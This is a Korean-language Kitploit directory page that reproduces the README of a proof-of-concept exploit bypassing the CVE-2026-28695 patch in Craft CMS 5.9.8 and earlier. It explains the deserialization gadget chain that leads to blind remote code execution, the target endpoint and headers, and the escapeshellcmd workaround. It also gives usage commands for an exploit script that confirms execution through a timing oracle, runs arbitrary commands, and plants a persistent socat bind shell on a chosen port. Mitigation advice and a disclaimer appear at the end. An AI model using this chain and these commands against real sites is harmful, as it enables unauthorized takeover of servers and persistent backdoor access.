Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-28695-craft-rce-bypass — Craft CMS에서 인증된 **블라인드** 원격 코드 실행. CVE-2026-28695에 대한 수정. | Kitploit
도구/GitHubGitHub/gbuyssens/cve-2026-28695-craft-rce-bypass
Vulnerability AnalysisExploitationWeb Application ExploitationPost-ExploitationPenetration TestingRed TeamingRemote Access ToolPayload Development
GitHub
gbuyssens/cve-2026-28695-craft-rce-bypass

CVE-2026-28695-craft-rce-bypass

Craft CMS에서 인증된 **블라인드** 원격 코드 실행. CVE-2026-28695에 대한 수정.

저장소 보기
15일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-28695 패치 우회 — Craft CMS ≤ 5.9.8 인증된 RCE (element-search)

CVSS 3.x : 8.8 HIGH   (대략 — 확인 필요)
CWE      : CWE-502 (안전하지 않은 객체 인스턴스화) + CWE-1336 (SSTI 기원)
기반     : CVE-2026-28695  (create() + Symfony Process를 통한 SSTI)
수정     : 권고 수정 e31e508 (create()를 BaseObject로 제한) — 여기서 우회됨
영향     : CVE-2026-28695 수정이 적용된 Craft CMS ≤ 5.9.8

Craft CMS의 인증된 블라인드 원격 코드 실행. CVE-2026-28695의 공식 수정은 create()를 yii\base\BaseObject 하위 클래스로만 제한한다. 그러나 yii\behaviors\AttributeTypecastBehavior 가젯은 BaseObject이면서도 여전히 call_user_func() 싱크에 도달하므로 필터를 통과한다. Twig가 아닌 admin/actions/element-search/search 액션을 통해 전달되므로 CRAFT_ENABLE_TWIG_SANDBOX도 우회한다. Content Editor 계정이면 충분하다.


목차

  • 취약점 요약
  • CVE-2026-28695 PoC가 5.9.8에서 무력한 이유
  • 우회 (가젯 체인)
  • escapeshellcmd 제약
  • 공격 체인
  • 영향받는 버전
  • 이 저장소
  • 사용법
  • 완화 방안
  • 참고 자료

취약점 요약

Craft의 element-search 컨트롤러는 공격자의 JSON을 Yii의 Craft::createObject() / Instance 메커니즘을 통해 실제 PHP 객체로 역직렬화한다. attributeTypes가 속성을 호출 가능한 [Psy\Readline\Hoa\ConsoleProcessus, execute]에 매핑하는 AttributeTypecastBehavior를 부착하고 beforeSave 이벤트를 발생시키면, 타입캐스트는 다음과 같이 된다:

call_user_func([Psy\Readline\Hoa\ConsoleProcessus, "execute"], "<CMD>")

이 엔드포인트는 항상 HTTP 500을 응답하고 명령 출력을 반환하지 않는다 — 실행은 블라인드다.


CVE-2026-28695 PoC가 5.9.8에서 무력한 이유

  • CVE-2026-28695 = create() + Symfony Process를 통한 SSTI로, Twig 싱크 (일반적으로 Entry Types → Title Format)에서 도달한다.
  • 5.9.8에서 수정 커밋 e31e508 은 create()를 BaseObject 하위 클래스로 제한하며, 대상은 또한 CRAFT_ALLOW_ADMIN_CHANGES=false (settings → 403) 그리고 CRAFT_ENABLE_TWIG_SANDBOX=true로 실행된다. 문서화된 벡터는 삼중으로 차단된다.
  • 교훈: CVE 이름에 의존하지 말고 정확한 버전을 수정 커밋과 대조하라. 여기서는 수정이 배포된 빌드보다 오래되었으므로 원시 PoC가 아니라 필터 우회를 찾아야 한다.

우회 (가젯 체인)

yii\behaviors\AttributeTypecastBehavior  ->  Psy\Readline\Hoa\ConsoleProcessus::execute

구조적으로 이중 우회:

  1. 샌드박스 — element-search는 PHP 객체 경로이며, Twig 렌더가 아니다. CRAFT_ENABLE_TWIG_SANDBOX는 템플릿 엔진만 제한하므로 적용되지 않는다.
  2. 패치 — 수정은 create()를 BaseObject로 제한한다. AttributeTypecastBehavior → yii\base\Behavior → yii\base\BaseObject이므로 새로운 제약을 충족하면서도 여전히 실행 싱크를 제공한다. 수정은 하나의 클래스 계열을 닫았을 뿐, BaseObject 클래스 자체를 닫은 것이 아니다.

엔드포인트:

POST /index.php?p=admin/actions/element-search/search
X-CSRF-Token: <dashboard csrf>
X-Requested-With: XMLHttpRequest
Accept: application/json

escapeshellcmd 제약

Hoa\ConsoleProcessus::execute()는 명령을 escapeshellcmd() 를 통해 실행한다:

  • 무력화됨: | && ; > < $() ' " → 체이닝, 파이프, 리다이렉션, 고전적인 bash 리버스 셸 불가.
  • 통과됨: : , /
  • 결과: 하나의 바이너리 + 인수, 셸 메타문자 없음.

이것이 페이로드가 리버스 셸이 아니라 단일 socat TCP-LISTEN,fork EXEC 바인드 셸 (인수는 : / , / /)인 이유다.


공격 체인

   Attacker (Content Editor)                Craft CMS 5.9.8
        |                                        |
        |  GET /admin/login  (scrape CSRF)       |
        |--------------------------------------->|
        |  POST users/login (jenny:******)       |
        |--------------------------------------->|
        |  GET /admin/dashboard (JS csrf)        |
        |<---------------------------------------|
        |  POST element-search/search            |
        |    AttributeTypecastBehavior gadget    |
        |    typecastBeforeSave = "<CMD>"        |
        |--------------------------------------->|  call_user_func(
        |  HTTP 500  (blind, no output)          |    [ConsoleProcessus,execute], CMD)
        |<---------------------------------------|  -> escapeshellcmd(CMD) -> exec
        |                                        |
        |  oracle: "sleep 5" -> +~5s latency     |
        |  shell:  socat TCP-LISTEN:4445 bind     |

영향받는 버전

상태버전
취약CVE-2026-28695 수정이 적용된 Craft CMS ≤ 5.9.8
비고가젯은 인증된 CP 세션을 필요로 함

이 저장소

파일역할
exploit.pyPoC: 로그인 → 타이밍 오라클 확인 → 단일 명령 → 바인드 셸
README.md이 파일

사용법

requests 필요 (pip install requests).

# 1. Prove code execution (timing oracle: sleep 5 must add ~5s)
python3 exploit.py http://example.lab --check

# 2. Fire a single blind command (one binary + args, no metachars)
python3 exploit.py http://example.lab "sleep 5"

# 3. Plant a persistent bind shell as the web user, then connect
python3 exploit.py http://example.lab --bind 4445
nc IP or exemple.lab 4445

# custom creds
python3 exploit.py http://exemple.lab -u User -p 'SecureP4$$!' --bind

무슨 일이 일어나는가:

  1. 로그인 CSRF를 스크래핑하고, CP에 인증하고, 대시보드 액션 CSRF를 가져온다.
  2. AttributeTypecastBehavior 가젯을 element-search로 전송한다.
  3. --check는 주입된 지연으로 블라인드 실행을 증명하고, --bind는 socat 리스너를 설치한다.

완화 방안

  1. Craft CMS를 모든 역직렬화 입력 경로에서 객체 인스턴스화를 제한하는 릴리스로 업그레이드하고(create()만이 아님), element-search 조건 처리를 감사하라.
  2. CRAFT_ALLOW_ADMIN_CHANGES=false를 유지하고 Content Editor 권한을 최소화하라 — 여기서 인증이 유일한 전제 조건이다.
  3. ConsoleProcessus::execute 가젯에 도달할 수 있는 번들 psy/psysh (Hoa) 의존성을 제거하거나 업그레이드하라.
  4. WAF/텔레메트리: __class, as rce, 또는 AttributeTypecastBehavior를 포함하는 element-search/search 본문에 경보를 설정하고, 해당 액션에서 발생하는 HTTP 500 폭주를 표시하라.

참고 자료

  • NVD — CVE-2026-28695 (기반 SSTI)
  • Craft CMS 수정 커밋 e31e508 (create() → BaseObject 제한)
  • Yii AttributeTypecastBehavior / yii\base\Security 문서

면책 조항

이 프로젝트는 승인된 보안 테스트, 교육, 방어 연구 목적으로만 사용됩니다. 적용 가능한 법률과 실험실 또는 고객의 교전 규칙을 준수할 책임은 사용자에게 있습니다.

도구 다운로드